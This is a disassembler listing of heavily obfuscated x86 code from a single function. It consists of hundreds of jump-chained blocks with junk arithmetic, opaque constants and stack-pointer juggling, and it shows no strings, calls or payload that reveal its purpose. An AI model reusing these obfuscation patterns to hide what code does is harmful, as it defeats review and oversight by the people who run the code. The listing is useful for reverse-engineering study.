		jmp	loc_5A24E0
; ---------------------------------------------------------------------------


loc_592755:				; CODE XREF: sub_57DD3A+235D8j
		xchg	ecx, [esp+4Ch+var_4C]
		jmp	loc_59BB4C
; ---------------------------------------------------------------------------


loc_59275D:				; CODE XREF: sub_57DD3A+11948j
		or	edx, esi
		mov	esi, [esp+78h+var_78]
		add	esp, 4
		add	edx, 22C8022Bh
		add	ebx, edx
		pop	edx
		jmp	loc_5966BC
; ---------------------------------------------------------------------------


loc_592773:				; CODE XREF: sub_57DD3A+179AAj
		push	ecx
		jmp	loc_58F72D
; ---------------------------------------------------------------------------


loc_592779:				; CODE XREF: sub_57DD3A+22E8Aj
		mov	esi, 6A3C600Bh
		jmp	loc_59EBD0
; ---------------------------------------------------------------------------


loc_592783:				; CODE XREF: sub_57DD3A+246B4j
		mov	esp, [esp+74h+var_74]
		jmp	loc_59F165
; ---------------------------------------------------------------------------


loc_59278B:				; CODE XREF: sub_57DD3A+1774Ej
		mov	esi, [esp+74h+var_74]
		add	esp, 4
		jmp	loc_59FD6A
; ---------------------------------------------------------------------------


loc_592799:				; CODE XREF: sub_57DD3A+18062j
		mov	eax, [esp+70h+var_70]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_59FD9D
; ---------------------------------------------------------------------------


loc_5927AE:				; CODE XREF: sub_57DD3A+15E17j
		mov	[esp+78h+var_78], esi
		mov	esi, 4
		jmp	loc_5963D6
; ---------------------------------------------------------------------------


loc_5927BB:				; CODE XREF: sub_57DD3A+17C98j
		xchg	ebp, [esp+78h+var_78]
		pop	esp
		mov	bh, byte ptr [esp+74h+var_74+2]
		mov	byte ptr [esp+74h+var_74+2], dh
		mov	dx, word ptr [esp+74h+var_74]
		add	esp, 2
		sub	esp, 4
		jmp	loc_59C9B9
; ---------------------------------------------------------------------------


loc_5927D6:				; CODE XREF: sub_57DD3A+12BBFj
		push	edi
		jmp	loc_58FA1D
; ---------------------------------------------------------------------------


loc_5927DC:				; CODE XREF: sub_57DD3A+23D44j
		add	eax, 29BF7836h
		sub	eax, ebp
		sub	eax, 29BF7836h
		pop	ebp
		jmp	loc_58F6F6
; ---------------------------------------------------------------------------


loc_5927EE:				; CODE XREF: sub_57DD3A+1FD3Dj
		mov	edi, esp
		jmp	loc_59826E
; ---------------------------------------------------------------------------


loc_5927F5:				; CODE XREF: sub_57DD3A+11E64j
		push	edx
		mov	edx, 1C670FE1h
		sub	edx, 0FFFFFFFFh
		sub	edx, 7CA22130h
		push	ebx
		mov	ebx, 3443797h
		inc	ebx
		or	ebx, 624A0FDFh
		jmp	loc_59216F
; ---------------------------------------------------------------------------


loc_592816:				; CODE XREF: sub_57DD3A+1CC68j
		xor	ch, ah
		jmp	loc_590175
; ---------------------------------------------------------------------------


loc_59281D:				; CODE XREF: sub_57DD3A+13122j
		and	ebx, esi
		jmp	loc_593521
; ---------------------------------------------------------------------------


loc_592824:				; CODE XREF: sub_57DD3A+15113j
		mov	esp, [esp+60h+var_60]
		mov	[esp+60h+var_60], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	974h
		jmp	loc_59585E
; ---------------------------------------------------------------------------


loc_59283D:				; CODE XREF: sub_57DD3A+12B8Dj
		sub	ebp, esi
		push	ecx
		mov	ecx, 3ACE3987h
		not	ecx
		shr	ecx, 4
		add	ecx, 3720339h
		add	ebp, ecx
		jmp	loc_58FB7F
; ---------------------------------------------------------------------------


loc_592857:				; CODE XREF: sub_57DD3A+1155Fj
		pop	[esp+8+var_8]
		pop	esp
		bt	[esp+0], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_592866:				; CODE XREF: sub_57DD3A+1F6E3j
		add	edi, esi
		jmp	loc_590C03
; ---------------------------------------------------------------------------


loc_59286D:				; CODE XREF: sub_57DD3A+1F278j
		mov	[esp+4+var_4], edi
		push	4
		pop	edi
		jmp	loc_5A0B82
; ---------------------------------------------------------------------------


loc_59287B:				; CODE XREF: sub_57DD3A+1CC51j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A2A94
; ---------------------------------------------------------------------------


loc_59288C:				; CODE XREF: sub_57DD3A+18B9Dj
		sub	ebp, 8E332ACh
		xor	ebp, 0E9065A95h
		jmp	loc_59D37C
; ---------------------------------------------------------------------------


loc_59289D:				; CODE XREF: sub_57DD3A+120ECj
		xor	edi, 0AE27350h
		xor	eax, edi
		push	[esp+2Eh+var_2E]
		pop	edi
		push	2F1Dh
		mov	[esp+32h+var_32], edi
		mov	edi, esp
		push	321Ah
		mov	[esp+36h+var_36], ebp
		mov	ebp, 6C7F542Ch
		inc	ebp
		sub	ebp, 15271C93h
		inc	ebp
		neg	ebp
		neg	ebp
		sub	ebp, 57583797h
		jmp	loc_59D65E
; ---------------------------------------------------------------------------


loc_5928D7:				; CODE XREF: sub_57DD3A+1289Cj
		push	5CBBh
		mov	[esp+22h+var_22], edx
		push	esp
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		push	edi
		jmp	loc_5904A3
; ---------------------------------------------------------------------------


loc_5928EC:				; CODE XREF: sub_57DD3A+1C02Fj
		xor	edi, 345803AAh
		jmp	loc_591270
; ---------------------------------------------------------------------------


loc_5928F7:				; CODE XREF: sub_57DD3A+1D24Cj
		pop	ecx
		xchg	edi, [esp+22h+var_22]
		jmp	loc_59613F
; ---------------------------------------------------------------------------


loc_592900:				; CODE XREF: sub_57DD3A+236F7j
		push	[esp+22h+var_22]
		pop	ebx
		add	esp, 4
		xor	edx, [esp+1Eh+var_1E]
		jmp	loc_590398
; ---------------------------------------------------------------------------


loc_592912:				; CODE XREF: sub_57DD3A+1E109j
		mov	ebx, [esp+1Eh+var_1E]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Eh+var_1E]
		pop	esp
		add	[esp+1Ah+var_16], ebx
		jmp	loc_5A220A
; ---------------------------------------------------------------------------


loc_592931:				; CODE XREF: sub_57DD3A+157F3j
		xor	eax, 486A182Dh
		sub	ebx, eax
		pop	eax
		add	ecx, ebx
		pop	ebx
		jmp	loc_58FE02
; ---------------------------------------------------------------------------


loc_592941:				; CODE XREF: sub_57DD3A+22A54j
		add	esp, 4
		jmp	loc_5956BD
; ---------------------------------------------------------------------------


loc_59294C:				; CODE XREF: sub_57DD3A+21F7Cj
		add	edx, 0E201625Ch
		add	eax, edx
		mov	edx, [esp+0Eh+var_E]
		add	esp, 4
		push	6938h
		mov	[esp+0Eh+var_E], edi
		sub	esp, 4
		mov	[esp+12h+var_12], ecx
		push	387F5D9Bh
		mov	ecx, [esp+16h+var_16]
		add	esp, 4
		dec	ecx
		push	edi
		mov	edi, esp
		jmp	loc_592A3D
; ---------------------------------------------------------------------------


loc_59297C:				; CODE XREF: sub_57DD3A+20BEDj
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp+12h+var_12]
		jmp	loc_59D8A4
; ---------------------------------------------------------------------------


loc_59298A:				; CODE XREF: sub_57DD3A+157BBj
		push	esi
		mov	esi, 0F901710h
		jmp	loc_592337
; ---------------------------------------------------------------------------


loc_592995:				; CODE XREF: sub_57DD3A+22DD2j
		pop	ecx
		add	esp, 4
		push	di
		push	ebp
		sub	esp, 4
		mov	[esp+18h+var_1A+2], ebx
		push	small 6FEDh
		jmp	loc_59AA7D
; ---------------------------------------------------------------------------


loc_5929AB:				; CODE XREF: sub_57DD3A+21DEEj
		mov	esi, [esp+1Ah+var_1A]
		add	esp, 4
		xor	eax, 3BC5609Bh
		push	edx
		mov	edx, 3FF3507Fh
		sub	eax, edx
		mov	edx, [esp+1Ah+var_1A]
		add	esp, 4
		add	eax, 23D2377Eh
		add	eax, edi
		jmp	loc_59E94F
; ---------------------------------------------------------------------------


loc_5929D0:				; CODE XREF: sub_57DD3A+24891j
		shr	cl, 2
		jmp	loc_58ED21
; ---------------------------------------------------------------------------


loc_5929D8:				; CODE XREF: sub_57DD3A+23BACj
		push	esp
		jmp	loc_5A2012
; ---------------------------------------------------------------------------


loc_5929DE:				; CODE XREF: sub_57DD3A+1EF0Cj
		mov	esi, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_592346
; ---------------------------------------------------------------------------


loc_5929E9:				; CODE XREF: sub_57DD3A+18616j
		mov	[esp+16h+var_16], eax
		jmp	loc_59F034
; ---------------------------------------------------------------------------


loc_5929F1:				; CODE XREF: sub_57DD3A+18E40j
		sub	edi, 546A1E65h
		jmp	loc_598D91
; ---------------------------------------------------------------------------


loc_5929FC:				; CODE XREF: sub_57DD3A+14E35j
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59D819
; ---------------------------------------------------------------------------


loc_592A0B:				; CODE XREF: sub_57DD3A+1D796j
		not	[esp+16h+var_16]
		pop	edx
		add	edx, 0E91AD2CCh
		mov	ebp, edx
		mov	edx, [esp+12h+var_12]
		sub	esp, 4
		mov	[esp+16h+var_16], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+16h+var_16]
		pop	esp
		add	ebp, 9B839F73h
		sub	eax, ebp
		pop	ebp
		jmp	loc_5A2269
; ---------------------------------------------------------------------------


loc_592A3D:				; CODE XREF: sub_57DD3A+14C3Dj
		add	edi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5971F4
; ---------------------------------------------------------------------------


loc_592A4E:				; CODE XREF: sub_57DD3A+10BF5j
		mov	ebp, 22B115CCh
		jmp	loc_59BD5F
; ---------------------------------------------------------------------------


loc_592A58:				; CODE XREF: sub_57DD3A+1C1AFj
		add	ecx, 117F3E5Ah
		sub	ecx, 0E93159FEh
		sub	eax, ecx
		pop	ecx
		add	eax, edi
		push	edi
		mov	edi, 5CCE5DAFh
		jmp	loc_5946FB
; ---------------------------------------------------------------------------


loc_592A74:				; CODE XREF: sub_57DD3A+1BECDj
		add	esp, 4
		sub	ebp, 62584D54h
		add	ebp, edx
		jmp	loc_59B298
; ---------------------------------------------------------------------------


loc_592A84:				; CODE XREF: sub_57DD3A+1D44Fj
		xchg	ebx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 36EB0C51h
		push	ebp
		jmp	loc_59CD4C
; ---------------------------------------------------------------------------
word_592A96	dw 2489h		; CODE XREF: sub_57DD3A+214E5j
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 8Fh
		add	al, 24h
		add	[esp+2+var_4+2], 4
		push	[esp+2+var_4+2]
		mov	eax, [esp+6+var_8+2]
		push	eax
		jmp	loc_5945E8
; ---------------------------------------------------------------------------


loc_592AB0:				; CODE XREF: sub_57DD3A+1F79Dj
		mov	ch, 0A1h
		mov	dh, ch
		pop	ecx
		push	eax
		mov	ah, dh
		push	edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_597F4A
; ---------------------------------------------------------------------------


loc_592ACC:				; CODE XREF: sub_57DD3A+21219j
		add	esp, 4
		shl	esi, 7
		jmp	loc_59F827
; ---------------------------------------------------------------------------


loc_592AD7:				; CODE XREF: sub_57DD3A+20EDBj
		sub	esp, 4
		jmp	loc_597AB4
; ---------------------------------------------------------------------------


loc_592ADF:				; CODE XREF: sub_57DD3A+19148j
		xor	[esp+6+var_8+2], 79A454BFh
		pop	dword ptr [edi+20h]
		push	eax
		mov	eax, 20h
		jmp	loc_59D372
; ---------------------------------------------------------------------------


loc_592AF4:				; CODE XREF: sub_57DD3A+1DB3Aj
		pop	[esp+6+var_8+2]
		pop	esp
		mov	[esp+0], ebx
		push	[esp-2+arg_0+2]
		push	[esp+2+var_4+2]
		jmp	loc_59D20C
; ---------------------------------------------------------------------------


loc_592B07:				; CODE XREF: sub_57DD3A+1B373j
		add	ebp, 3AD35AC6h
		sub	ebp, 40D82337h
		sub	ebp, ecx
		add	ebp, 40D82337h
		jmp	loc_595943
; ---------------------------------------------------------------------------


loc_592B20:				; CODE XREF: sub_57DD3A+18843j
		pop	ecx
		add	esp, 4
		add	ecx, 4
		jmp	loc_59A3F5
; ---------------------------------------------------------------------------


loc_592B2F:				; CODE XREF: sub_57DD3A+1D369j
		neg	edi
		jmp	loc_59DC27
; ---------------------------------------------------------------------------


loc_592B36:				; CODE XREF: sub_57DD3A+16FA5j
		pop	edi
		push	ebx
		jmp	loc_596146
; ---------------------------------------------------------------------------


loc_592B3D:				; CODE XREF: sub_57DD3A+1D819j
		push	eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_592B44:				; CODE XREF: sub_57DD3A+1AF00j
		or	edx, 1126E2Dh
		or	edx, 32CB56A6h
		shr	edx, 5
		add	edx, 0CBA1689Eh
		xor	ecx, edx
		pop	edx
		sub	ebp, ecx
		jmp	loc_59ADC5
; ---------------------------------------------------------------------------


loc_592B63:				; CODE XREF: sub_57DD3A+1EA54j
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp+2+var_4+2]
		jmp	loc_5929FC
; ---------------------------------------------------------------------------


loc_592B74:				; CODE XREF: sub_57DD3A+175D1j
		mov	ebx, 33A62AEBh
		push	ebp
		mov	ebp, 395D5E4Dh
		not	ebp
		not	ebp
		not	ebp
		sub	ebp, 0A18527A8h
		jmp	loc_59AE73
; ---------------------------------------------------------------------------


loc_592B90:				; CODE XREF: sub_57DD3A+134B2j
		neg	edi
		shl	edi, 6
		sub	esp, 4
		mov	[esp+50h+var_50], eax
		mov	eax, 248637F3h
		push	eax
		not	[esp+54h+var_54]
		pop	eax
		jmp	loc_58F7F1
; ---------------------------------------------------------------------------


loc_592BAD:				; CODE XREF: sub_57DD3A+21EF1j
		add	eax, 0E8FBE75Ah
		xor	ebp, eax
		pop	eax
		shr	ebp, 7
		sub	ebp, 2ABD7E76h
		sub	ebp, 445A0BDCh
		sub	ebp, 9297F60Fh
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp+0]
		pop	esp
		add	esp, 4
		jmp	loc_59636E
; ---------------------------------------------------------------------------


loc_592BD9:				; CODE XREF: sub_57DD3A+21866j
		or	edx, ebp
		pop	ebp
		push	eax
		jmp	loc_599E9E
; ---------------------------------------------------------------------------


loc_592BE2:				; CODE XREF: sub_57DD3A+14308j
		sub	edi, ebx
		push	edx
		mov	edx, 6AB92BF2h
		jmp	loc_59D2E3
; ---------------------------------------------------------------------------


loc_592BEF:				; CODE XREF: sub_57DD3A+2500Dj
		pop	ecx
		mov	edx, ebp
		pop	ebp
		push	6CE2h
		jmp	loc_59C88F
; ---------------------------------------------------------------------------


loc_592BFD:				; CODE XREF: sub_57DD3A+1C0ABj
		xchg	eax, [esp+1Ah+var_1A]
		jmp	loc_5973BB
; ---------------------------------------------------------------------------


loc_592C05:				; CODE XREF: sub_57DD3A+212E8j
		push	ebp
		push	[esp+1Eh+var_1A]
		pop	ebp
		jmp	loc_59B0E4
; ---------------------------------------------------------------------------


loc_592C10:				; CODE XREF: sub_57DD3A+21264j
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_5A1DA5
; ---------------------------------------------------------------------------


loc_592C25:				; CODE XREF: sub_57DD3A+22AB4j
		mov	edx, 2F423900h
		jmp	loc_590825
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_5950C1
; ---------------------------------------------------------------------------


loc_592C3A:				; CODE XREF: sub_57DD3A+12419j
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_59365E
; ---------------------------------------------------------------------------


loc_592C42:				; CODE XREF: sub_57DD3A+218CDj
		push	5AB2h
		mov	[esp+66h+var_68+2], edx
		mov	edx, 17E838B6h
		add	edx, 47354ECBh
		sub	edx, 0FEBE148Bh
		xor	ebx, edx
		pop	edx
		push	esi
		mov	esi, 53A756Ah
		jmp	loc_590DD1
; ---------------------------------------------------------------------------


loc_592C69:				; CODE XREF: sub_57DD3A+1AEEEj
		mov	esp, [esp+66h+var_68+2]
		jmp	loc_595960
; ---------------------------------------------------------------------------


loc_592C71:				; CODE XREF: sub_57DD3A+224F6j
		push	62C6h
		mov	[esp+6Ah+var_6C+2], edx
		push	3C87h
		mov	[esp+6Eh+var_70+2], ecx
		push	ebx
		jmp	loc_5936F4
; ---------------------------------------------------------------------------


loc_592C87:				; CODE XREF: sub_57DD3A+1D363j
		push	edi
		jmp	loc_58EBB6
; ---------------------------------------------------------------------------


loc_592C8D:				; CODE XREF: sub_57DD3A+177ACj
		sub	esp, 4
		jmp	loc_5A0C40
; ---------------------------------------------------------------------------


loc_592C95:				; CODE XREF: sub_57DD3A+16A18j
		push	7941h
		mov	[esp+7Eh+var_80+2], ebx
		add	[esp+7Eh+var_80+2], 22E31E58h
		pop	esi
		sub	esi, 22E31E58h
		push	esi
		xor	[esp+7Eh+var_80+2], 299C2CB2h
		pop	ebp
		xor	ebp, 299C2CB2h
		pop	esi
		mov	ebx, [esp+76h+var_78+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A0E24
; ---------------------------------------------------------------------------


loc_592CCC:				; CODE XREF: sub_57DD3A+139B5j
		sub	edi, 0C86546Ah
		add	edi, eax
		jmp	loc_59ADCB
; ---------------------------------------------------------------------------


loc_592CD9:				; CODE XREF: sub_57DD3A+25534j
		add	ebx, eax
		mov	eax, [esp+60h+var_60]
		jmp	loc_5A2956
; ---------------------------------------------------------------------------


loc_592CE3:				; CODE XREF: sub_57DD3A+17642j
		xor	ebp, 2C063A6Fh
		sub	ebp, 1693314Eh
		add	eax, 728A51F3h
		add	eax, ebp
		sub	eax, 728A51F3h
		pop	ebp
		pop	edx
		push	esi
		jmp	loc_598F4C
; ---------------------------------------------------------------------------


loc_592D03:				; CODE XREF: sub_57DD3A+16D06j
		push	eax
		mov	eax, 412E5576h
		jmp	loc_59FE42
; ---------------------------------------------------------------------------


loc_592D0E:				; CODE XREF: sub_57DD3A+10D94j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5956CA
; ---------------------------------------------------------------------------


loc_592D1B:				; CODE XREF: sub_57DD3A+1E888j
		push	35F1h
		mov	[esp+20h+var_22+2], eax
		mov	eax, esp
		jmp	loc_59D53B
; ---------------------------------------------------------------------------


loc_592D2A:				; CODE XREF: sub_57DD3A+20553j
		shr	edi, 5
		xor	edi, 1B3AECEh
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4FE9393Eh
		jmp	loc_59B41F
; ---------------------------------------------------------------------------


loc_592D41:				; CODE XREF: sub_57DD3A+2313Bj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5969FB
; ---------------------------------------------------------------------------


loc_592D4D:				; CODE XREF: sub_57DD3A+14186j
		push	ecx
		push	edx
		jmp	loc_59F408
; ---------------------------------------------------------------------------


loc_592D54:				; CODE XREF: sub_57DD3A+21B24j
		push	ebx
		push	eax
		mov	al, cl
		push	ecx
		mov	ch, al
		push	eax
		mov	ah, ch
		mov	bh, ah
		jmp	loc_595847
; ---------------------------------------------------------------------------


loc_592D65:				; CODE XREF: sub_57DD3A+18D61j
		xor	ebx, esi
		pop	esi
		sub	ebx, 39963E38h
		mov	edx, ebx
		pop	ebx
		add	esi, 6AD75188h
		add	esi, edx
		jmp	loc_58FF4F
; ---------------------------------------------------------------------------


loc_592D7E:				; CODE XREF: sub_57DD3A+1BF2Cj
		push	eax
		mov	eax, 13A05075h
		jmp	loc_59337D
; ---------------------------------------------------------------------------


loc_592D89:				; CODE XREF: sub_57DD3A+1FD52j
		pop	ebp
		jmp	loc_598BF0
; ---------------------------------------------------------------------------


loc_592D8F:				; CODE XREF: sub_57DD3A+10E62j
		mov	esi, edi
		pop	edi
		jmp	loc_592156
; ---------------------------------------------------------------------------


loc_592D97:				; CODE XREF: sub_57DD3A+238F9j
		xor	ebp, [esp+1Ch+var_1E+2]
		pop	esp
		mov	[esp+18h+var_1A+2], edx
		push	eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_592DA5:				; CODE XREF: sub_57DD3A+15B69j
		mov	bh, dl
		pop	dx
		push	eax
		mov	al, 0A0h
		mov	dl, 0FBh
		xor	dl, al
		pop	eax
		add	dl, 0BBh
		sub	dl, bh
		sub	dl, 0BBh
		pop	ebx
		neg	dl
		push	ecx
		mov	ch, 0E9h
		dec	ch
		jmp	loc_59E0A5
; ---------------------------------------------------------------------------


loc_592DC6:				; CODE XREF: sub_57DD3A+170C6j
		mov	edi, 5747632h
		or	edi, 68BF2717h
		not	edi
		or	edi, 713D256Ah
		jmp	loc_59ED6B
; ---------------------------------------------------------------------------


loc_592DDE:				; CODE XREF: sub_57DD3A+15C79j
		sub	eax, 9A01F56h
		add	ecx, eax
		jmp	loc_5A29EF
; ---------------------------------------------------------------------------


loc_592DEA:				; CODE XREF: sub_57DD3A+18879j
		push	ebx
		mov	ebx, 2
		jmp	loc_591965
; ---------------------------------------------------------------------------


loc_592DF5:				; CODE XREF: sub_57DD3A+18EE3j
		mov	[esp+22h+var_22], eax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_592DFD:				; CODE XREF: sub_57DD3A+1D8D6j
		mov	[esp+22h+var_22], ebx
		mov	ebx, 42C0369Ah
		and	esi, ebx
		pop	ebx
		push	ebp
		push	eax
		mov	eax, 32013970h
		push	ebp
		jmp	loc_599C6B
; ---------------------------------------------------------------------------


loc_592E15:				; CODE XREF: sub_57DD3A+1C208j
		add	ecx, 179F0283h
		push	esi
		jmp	loc_5986A8
; ---------------------------------------------------------------------------


loc_592E21:				; CODE XREF: sub_57DD3A+1382Dj
		sub	eax, 36A5316h
		sub	eax, 7EE17BFEh
		jmp	loc_59BFE7
; ---------------------------------------------------------------------------


loc_592E30:				; CODE XREF: sub_57DD3A+1E45Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A0096
; ---------------------------------------------------------------------------


loc_592E3E:				; CODE XREF: sub_57DD3A+24E00j
		add	esi, 81B5BEBEh
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp+14h+var_16+2]
		jmp	loc_592824
; ---------------------------------------------------------------------------


loc_592E52:				; CODE XREF: sub_57DD3A+15DB5j
		pop	ebp
		push	edi
		push	[esp+14h+var_12+2]
		mov	edi, [esp+18h+var_1A+2]
		add	esp, 4
		pop	[esp+14h+var_16+2]
		pop	esp
		mov	ax, word ptr [esp+0Ch+var_E+2]
		sub	esp, 4
		mov	[esp+10h+var_12+2], edx
		sub	esp, 4
		mov	[esp+14h+var_16+2], esp
		jmp	loc_59F6F9
; ---------------------------------------------------------------------------


loc_592E7A:				; CODE XREF: sub_57DD3A+10726j
		sub	ebx, 1880578Ah
		sub	ebx, 4E110177h
		sub	ebx, 43BE6B54h
		add	ebx, edx
		add	ebx, 43BE6B54h
		add	ebx, 4E110177h
		add	ebx, 1880578Ah
		jmp	loc_59CEFA
; ---------------------------------------------------------------------------


loc_592EA5:				; CODE XREF: sub_57DD3A+1747Cj
		add	eax, 14AF27A6h
		sub	eax, edi
		push	ecx
		mov	ecx, 3524749Bh
		neg	ecx
		jmp	loc_59494E
; ---------------------------------------------------------------------------


loc_592EB9:				; CODE XREF: sub_57DD3A+144D6j
		push	4731h
		mov	[esp+4Ah+var_4C+2], esi
		jmp	loc_58F6FE
; ---------------------------------------------------------------------------


loc_592EC6:				; CODE XREF: sub_57DD3A+15353j
		add	eax, 4
		add	eax, 4
		jmp	loc_5A026D
; ---------------------------------------------------------------------------


loc_592ED5:				; CODE XREF: sub_57DD3A+16601j
		xchg	ebp, edx
		jmp	loc_5903AC
; ---------------------------------------------------------------------------


loc_592EDC:				; CODE XREF: sub_57DD3A+18482j
		sub	esp, 4
		mov	[esp+4Eh+var_50+2], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5962BA
; ---------------------------------------------------------------------------


loc_592EF2:				; CODE XREF: sub_57DD3A+2136Bj
		mov	ebp, 608E0733h
		not	ebp
		jmp	loc_594210
; ---------------------------------------------------------------------------


loc_592EFE:				; CODE XREF: sub_57DD3A+2407Aj
		mov	[esp+4Eh+var_50+2], esi
		jmp	loc_59976F
; ---------------------------------------------------------------------------


loc_592F06:				; CODE XREF: sub_57DD3A+1D43Ej
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp+4Ah+var_4C+2]
		jmp	loc_5959B1
; ---------------------------------------------------------------------------


loc_592F16:				; CODE XREF: sub_57DD3A+21D8Cj
		pop	edi
		jmp	loc_590E84
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+46h+var_46]
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp+52h+var_50+2]
		jmp	loc_597C1F
; ---------------------------------------------------------------------------


loc_592F3C:				; CODE XREF: sub_57DD3A+140BCj
		add	ecx, 7511797Ch
		add	ecx, edi
		sub	ecx, 7511797Ch
		pop	edi
		xor	ecx, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], ecx
		xor	ecx, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		movzx	ax, byte ptr [eax]
		push	small 3EABh
		jmp	loc_5A2660
; ---------------------------------------------------------------------------


loc_592F64:				; CODE XREF: sub_57DD3A+15CCEj
		pop	esp
		mov	[esp+6Ah+var_6C+2], esi
		sub	esp, 4
		mov	[esp+6Eh+var_70+2], esp
		add	[esp+6Eh+var_70+2], 4
		mov	esi, [esp+6Eh+var_70+2]
		add	esp, 4
		add	esi, 4
		push	84Dh
		mov	[esp+6Eh+var_70+2], eax
		push	ebx
		jmp	loc_594B2F
; ---------------------------------------------------------------------------


loc_592F8C:				; CODE XREF: sub_57DD3A+12028j
		mov	eax, 4
		add	[esp+3Ah+var_36], eax
		mov	eax, [esp+3Ah+var_3A]
		add	esp, 4
		pop	ebx
		push	411Ah
		mov	[esp+36h+var_36], ebp
		jmp	loc_593D54
; ---------------------------------------------------------------------------


loc_592FAC:				; CODE XREF: sub_57DD3A+126C1j
		mov	edi, 4
		push	ebp
		mov	ebp, 5D9C11CEh
		shr	ebp, 5
		jmp	loc_591C94
; ---------------------------------------------------------------------------


loc_592FBF:				; CODE XREF: sub_57DD3A+11E58j
		mov	ebp, 1B181910h
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 7D7902FBh
		not	ebp
		shr	ebp, 6
		xor	ebp, 18983A5h
		push	ebp
		xor	[esp+46h+var_46], 22B919F3h
		pop	edi
		push	ebx
		mov	ebx, 23E15576h
		xor	ebx, 5A9D34F4h
		jmp	loc_59915B
; ---------------------------------------------------------------------------


loc_592FF5:				; CODE XREF: sub_57DD3A+1B0E1j
		mov	edi, 49085CAEh
		jmp	loc_595FCB
; ---------------------------------------------------------------------------


loc_592FFF:				; CODE XREF: sub_57DD3A+216D4j
		xor	edx, 1FC406C4h
		sub	edx, 292372Dh
		mov	ecx, edx
		pop	edx
		sub	edi, 6C810210h
		sub	edi, ecx
		add	edi, 6C810210h
		pop	ecx
		xchg	edi, [esp+3Eh+var_3E]
		pop	esp
		jmp	loc_58FA76
; ---------------------------------------------------------------------------


loc_593026:				; CODE XREF: sub_57DD3A+15AD8j
		pop	esi
		shl	edx, 7
		push	ebp
		jmp	loc_59F815
; ---------------------------------------------------------------------------


loc_593030:				; CODE XREF: sub_57DD3A+1AB8Dj
		mov	edi, [esp+3Ah+var_3A]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+3Eh+var_3E]
		pop	esp
		push	edi
		mov	edi, 0C84BF0h
		jmp	loc_5A1260
; ---------------------------------------------------------------------------


loc_59304E:				; CODE XREF: sub_57DD3A+16C0Fj
		add	esi, edx
		pop	edx
		pop	ebp
		push	esi
		push	[esp+3Ah+var_36]
		pop	esi
		pop	[esp+3Ah+var_3A]
		pop	esp
		push	1478h
		mov	[esp+36h+var_36], ebx
		push	esi
		mov	esi, 35F57431h
		jmp	loc_599926
; ---------------------------------------------------------------------------


loc_59306F:				; CODE XREF: sub_57DD3A+222B7j
		add	esp, 4
		push	3EA4h
		mov	[esp+3Ah+var_3A], ecx
		mov	ch, 0AFh
		jmp	loc_597F1E
; ---------------------------------------------------------------------------


loc_593081:				; CODE XREF: sub_57DD3A+16333j
		add	esp, 4
		mov	edx, [esp+36h+var_36]
		push	eax
		mov	eax, esp
		jmp	loc_592EC6
; ---------------------------------------------------------------------------


loc_593092:				; CODE XREF: sub_57DD3A+22537j
		push	[esp+3Ah+var_3A]
		pop	eax
		add	esp, 4


loc_59309C:				; CODE XREF: sub_57DD3A+2525Ej
		push	eax
		jmp	loc_594AFB
; ---------------------------------------------------------------------------


loc_5930A2:				; CODE XREF: sub_57DD3A+14334j
		pop	ebp
		add	eax, edx
		pop	edx
		mov	edi, [esp+40h+var_42+2]
		add	esp, 4
		sub	eax, 51C53CC7h
		sub	eax, esi
		add	eax, 51C53CC7h
		sub	eax, 55EB23D3h
		pop	esi
		jmp	loc_59CB85
; ---------------------------------------------------------------------------


loc_5930C6:				; CODE XREF: sub_57DD3A+17301j
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+34h+var_36+2]
		mov	esp, [esp+34h+var_36+2]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0DC3
; ---------------------------------------------------------------------------


loc_5930E0:				; CODE XREF: sub_57DD3A+23780j
		push	edx
		sub	esp, 4
		mov	[esp+40h+var_42+2], ebp
		mov	ebp, 2F9B3C2Ch
		add	ebp, 5335417Ch
		jmp	loc_59C724
; ---------------------------------------------------------------------------


loc_5930FA:				; CODE XREF: sub_57DD3A+1081Dj
		mov	ch, 0B1h
		jmp	loc_59134C
; ---------------------------------------------------------------------------


